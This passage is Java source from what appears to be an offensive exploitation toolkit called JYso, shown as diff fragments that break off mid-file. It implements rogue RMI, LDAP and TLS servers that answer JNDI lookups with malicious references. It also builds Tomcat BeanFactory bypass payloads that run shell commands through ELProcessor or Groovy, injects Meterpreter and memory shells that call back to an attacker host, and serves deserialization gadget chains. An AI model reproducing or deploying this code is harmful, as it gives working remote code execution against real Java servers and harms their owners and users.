// Read magic (or HTTP wrapper)
bufIn.mark(4);
try (DataInputStream in = new DataInputStream(bufIn)) {
int magic = in.readInt();
short version = in.readShort();
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
try (DataOutputStream out = new DataOutputStream(bufOut)) {
byte protocol = in.readByte();
switch (protocol) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if (remote.getHostName() != null) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
}
}
} catch (InterruptedException e) {
return;
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
System.out.println(Ansi.ansi().fgRgb(255, 165, 0).a(" Closing connection").reset());
s.close();
}
}
} finally {
if (s != null) {
s.close();
}
if (this.ss != null) {
this.ss.close();
}
}
} catch (SocketException ignored) {
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
//System.err.println("[+] RMI服务器 >> 正在读取信息");
int op = in.read();
switch (op) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID.read(in);
break;
default:
throw new IOException(" RMI 服务器 >> 无法识别:" + op);
}
s.close();
}
private void doCall(DataInputStream in, DataOutputStream out) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
} else if ("java.lang.String".equals(desc.getName())) {
return String.class;
}
throw new IOException(" RMI 服务器 >> 无法读取 Object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
} catch (IOException e) {
throw new MarshalException(" RMI 服务器 >> 无法读取 ObjID", e);
}
if (read.hashCode() == 2) {
// DGC
handleDGC(ois);
} else if (read.hashCode() == 0) {
if (handleRMI(ois, out)) {
synchronized (this.waitLock) {
this.waitLock.notifyAll();
}
}
}
}
private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {
int method = ois.readInt(); // method
ois.readLong(); // hash
if (method != 2) { // lookup
return false;
}
String object = (String) ois.readObject();
//System.out.println(ansi().render("@|green [+]|@ RMI服务器 >> RMI 查询" + object + " " + method));
out.writeByte(TransportConstants.Return); // transport op
try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) {
oos.writeByte(TransportConstants.NormalReturn);
new UID().write(oos);
//反射调用的类名
ReferenceWrapper rw = null;
if (object.startsWith("ELProcessor")) {
ResourceRef result = ELProcessor.refTomcatBypass(object);
rw = new ReferenceWrapper(result);
} else if (object.startsWith("basic")) {
rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
Reference result = Basic.basic(object);
Reflections.setFieldValue(rw, "wrappee", result);
}
Field refF = RemoteObject.class.getDeclaredField("ref");
refF.setAccessible(true);
refF.set(rw, new UnicastServerRef(12345));
oos.writeObject(rw);
oos.flush();
out.flush();
}
return true;
}
static final class MarshalOutputStream extends ObjectOutputStream {
private final URL sendUrl;
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
super(out);
this.sendUrl = u;
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
StringBuilder cb = new StringBuilder();
for (URL u : us) {
cb.append(u.toString());
}
writeObject(cb.toString());
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}
}
+42
View File
@@ -0,0 +1,42 @@
package com.qi4l.JYso;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.ObjectPayload;
import org.apache.commons.collections4.map.CaseInsensitiveMap;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import static com.qi4l.JYso.gadgets.Config.Config.logo;
public class Starter {
// 用于存储所有的ObjectPayload类
public static CaseInsensitiveMap<String,Class<? extends ObjectPayload>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap();
static {
for (Class<? extends ObjectPayload> clazz : ObjectPayload.Utils.getPayloadClasses()) {
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
}
}
public static boolean JYsoMode = false;
public static void main(String[] args) throws Exception {
logo();
// 如果参数中包含-j,则启动LDAP、HTTP、RMI服务
if (args.length > 0 && args[0].equals("-j")) {
Config.applyCmdArgs(args);
if (Config.TLSProxy) {
TLSProxy.start();
}
LdapServer.start();
HTTPServer.start();
RMIServer.start();
}
// 如果参数中包含-y,则启动ysoserial
if (args.length > 0 && args[0].equals("-y")) {
JYsoMode = true;
ysoserial(args);
}
}
}
+120
View File
@@ -0,0 +1,120 @@
package com.qi4l.JYso;
import com.qi4l.JYso.gadgets.Config.Config;
import javax.net.ssl.*;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.security.KeyStore;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import static org.fusesource.jansi.Ansi.ansi;
public class TLSProxy {
private final String localAddr;
private final String remoteAddr;
private final String certFile;
private final String keyFile;
public TLSProxy(String localAddr, String remoteAddr, String certFile, String keyFile) {
this.localAddr = localAddr;
this.remoteAddr = remoteAddr;
this.certFile = certFile;
this.keyFile = keyFile;
}
public static void start() {
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >>" + Config.TLSProxy + "..."));
new TLSProxy(Config.ip + ":" + Config.TLSProxy, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyFile).run();
}
public void run() {
SSLServerSocketFactory sslServerSocketFactory = createSSLServerSocketFactory();
if (sslServerSocketFactory == null) {
System.err.println("Failed to create SSLServerSocketFactory");
return;
}
try (SSLServerSocket serverSocket = (SSLServerSocket) sslServerSocketFactory.createServerSocket()) {
String[] addressParts = localAddr.split(":");
serverSocket.bind(new InetSocketAddress(addressParts[0], Integer.parseInt(addressParts[1])));
System.out.println("TLS Proxy started on " + localAddr);
ExecutorService executorService = Executors.newCachedThreadPool();
while (true) {
SSLSocket clientSocket = (SSLSocket) serverSocket.accept();
System.out.println("New connection from " + clientSocket.getRemoteSocketAddress());
executorService.submit(() -> handleConnection(clientSocket));
}
} catch (IOException e) {
e.printStackTrace();
}
}
private SSLServerSocketFactory createSSLServerSocketFactory() {
try {
SSLContext sslContext = SSLContext.getInstance("TLS");
KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
KeyStore keyStore = KeyStore.getInstance("JKS");
try (InputStream keyInput = new FileInputStream(certFile)) {
keyStore.load(keyInput, "".toCharArray());
}
keyManagerFactory.init(keyStore, "".toCharArray());
sslContext.init(keyManagerFactory.getKeyManagers(), null, null);
return sslContext.getServerSocketFactory();
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
private void handleConnection(SSLSocket clientSocket) {
try (Socket remoteSocket = new Socket(remoteAddr, getPort(remoteAddr))) {
System.out.println("Connected to " + remoteAddr);
ExecutorService executorService = Executors.newCachedThreadPool();
executorService.submit(() -> {
try {
forwardData(clientSocket.getInputStream(), remoteSocket.getOutputStream());
} catch (IOException e) {
throw new RuntimeException(e);
}
});
executorService.submit(() -> {
try {
forwardData(remoteSocket.getInputStream(), clientSocket.getOutputStream());
} catch (IOException e) {
throw new RuntimeException(e);
}
});
} catch (IOException e) {
e.printStackTrace();
}
}
private void forwardData(InputStream input, OutputStream output) {
try {
byte[] buffer = new byte[8192];
int bytesRead;
while ((bytesRead = input.read(buffer)) != -1) {
output.write(buffer, 0, bytesRead);
output.flush();
}
} catch (IOException e) {
e.printStackTrace();
}
}
private int getPort(String address) {
return Integer.parseInt(address.substring(address.lastIndexOf(':') + 1));
}
}
@@ -0,0 +1,133 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.CommandTemplate;
import com.qi4l.JYso.template.echoStatic.Meterpreter;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import java.net.URL;
import java.util.Base64;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/basic"})
public class BasicController implements LdapController {
private static String payloadType;
//最后的反斜杠不能少
private final String codebase = Config.codeBase;
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry e = new Entry(base);
String className = "";
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
className = EchoClass.getName();
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
className = Gadgets.createClassB(ClassName1);
}
if (payloadType.contains("command")) {
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
commandTemplate.cache();
className = commandTemplate.getClassName();
}
if (payloadType.contains("msf")) {
className = Meterpreter.class.getName();
}
String className1 = className.replaceAll("\\.", "/");
URL turl = new URL(new URL(this.codebase), className1 + ".class");
System.out.println(Ansi.ansi().fgBrightBlue().a(" redirecting to " + turl).reset());
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaCodeBase", this.codebase);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", className);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI Remote Refenrence Links ");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
params = results1;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
@@ -0,0 +1,166 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
import java.io.IOException;
import java.lang.reflect.Field;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/ELProcessor"})
public class ELProcessorController implements LdapController {
private String payloadType;
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
String jscode = null;
try {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
TomcatBypassHelper helper = new TomcatBypassHelper();
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
jscode = InjShell.injectClass(EchoClass);
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
jscode = Gadgets.createClassT(ClassName1);
}
if (payloadType.contains("command")) {
jscode = helper.getExecCode(params[0]);
}
if (payloadType.contains("meterpreter")) {
jscode = helper.injectMeterpreter();
}
String payloadTemplate = "{" +
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"{replacement}\")" +
"}";
String finalPayload = payloadTemplate.replace("{replacement}", jscode);
ref.add(new StringRefAddr("x", finalPayload));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI LDAP Local Refenrence Links + ELProcessor");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Util.base64Decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
params = results1;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
private class TomcatBypassHelper {
public String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
Field WinClassName = ctClazz.getDeclaredField("host");
WinClassName.setAccessible(true);
WinClassName.set(ctClazz, params[0]);
Field WinclassBody = ctClazz.getDeclaredField("port");
WinclassBody.setAccessible(true);
WinclassBody.set(ctClazz, params[1]);
return InjShell.injectClass(ctClazz);
}
public String getExecCode(String cmd) throws IOException {
String code = "var strs=new Array(3);\n" +
" if(java.io.File.separator.equals('/')){\n" +
" strs[0]='/bin/bash';\n" +
" strs[1]='-c';\n" +
" strs[2]='" + cmd + "';\n" +
" }else{\n" +
" strs[0]='cmd';\n" +
" strs[1]='/C';\n" +
" strs[2]='" + cmd + "';\n" +
" }\n" +
" java.lang.Runtime.getRuntime().exec(strs);";
return code;
}
}
}
@@ -0,0 +1,82 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
import static org.fusesource.jansi.Ansi.ansi;
/*
* Requires:
* - Tomcat and Groovy in classpath
*
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
*
* Groovy 语法参考:
* - https://xz.aliyun.com/t/8231#toc-7
* - https://my.oschina.net/jjyuangu/blog/1815945
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
*/
@LdapMapping(uri = {"/groovy"})
public class GroovyController implements LdapController {
private PayloadType type;
private String[] params;
private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
" ['cmd','/C', '${cmd}'].execute();\n" +
" } else {\n" +
" ['/bin/sh','-c', '${cmd}'].execute();\n" +
" }";
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI LDAP Local Refenrence Links + Groovy");
try {
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
String payloadType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
if (payloadType.equalsIgnoreCase("command")) {
type = PayloadType.valueOf("command");
//System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type));
} else {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
}
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
@@ -0,0 +1,13 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
public interface LdapController {
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
}
@@ -0,0 +1,12 @@
package com.qi4l.JYso.controllers;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface LdapMapping {
String[] uri();
}
@@ -0,0 +1,74 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/memoryxxe"})
public class MemoryXXEController implements LdapController{
private String payloadType;
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", params[0]));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Refenrence Links + MemoryXXE");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
//System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd};
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
@@ -0,0 +1,19 @@
package com.qi4l.JYso.controllers;
import javax.naming.RefAddr;
import java.util.Properties;
//this is a stub class required by WebSphere2 ldap handler
public class PropertiesRefAddr extends RefAddr {
private static final long serialVersionUID = 288055886942232156L;
private Properties props;
public PropertiesRefAddr(String addrType, Properties props) {
super(addrType);
this.props = props;
}
public Object getContent() {
return this.props;
}
}
@@ -0,0 +1,118 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.cli.CommandLine;
import org.fusesource.jansi.Ansi;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/deserialization"})
public class SerializedDataController implements LdapController {
public static String gadgetType;
public static String cmd11;
public static GadgetType gadgetType1;
public static CommandLine cmdLine;
private PayloadType payloadType;
private String params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
byte[] bytes;
try {
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject(params);
if (SerializedDataController.gadgetType.equals("JRE8u20")) {
bytes = (byte[]) object;
} else {
ByteArrayOutputStream out = new ByteArrayOutputStream();
bytes = Serializer.serialize(object, out);
}
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", bytes);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
System.out.println("- JNDI Deserialization Links ");
try {
base = base.replace('\\', '/');
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
try {
gadgetType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Gaddget: " + gadgetType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedGadgetTypeException("UnSupportGaddgetType >> " + base.substring(firstIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
int fourIndex = base.indexOf("/", thirdIndex + 1);
String Ty1 = base.substring(thirdIndex + 1, fourIndex);
gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase());
// 若第三个斜杠不存在,则把其设置成为字符串的长度
if (thirdIndex < 0) thirdIndex = base.length();
try {
// 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型
String Ty3 = base.substring(secondIndex + 1, thirdIndex);
payloadType = PayloadType.valueOf(Ty3.toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
if (payloadType == PayloadType.sethttp) {
params = BCEL1;
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + BCEL1).reset());
}
if (payloadType == PayloadType.command) {
if (gadgetType1 == GadgetType.base64) {
cmd11 = Util.getCmdFromBase(base);
}
if (gadgetType1 == GadgetType.base64Two) {
String encodedString = Util.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(encodedString);
String T1 = new String(decodedBytes);
byte[] decodedBytes1 = Base64.getDecoder().decode(T1);
cmd11 = new String(decodedBytes1);
}
params = cmd11;
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd11).reset());
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
@@ -0,0 +1,80 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/snakeyaml"})
public class SnakeYamlController implements LdapController {
private String payloadType;
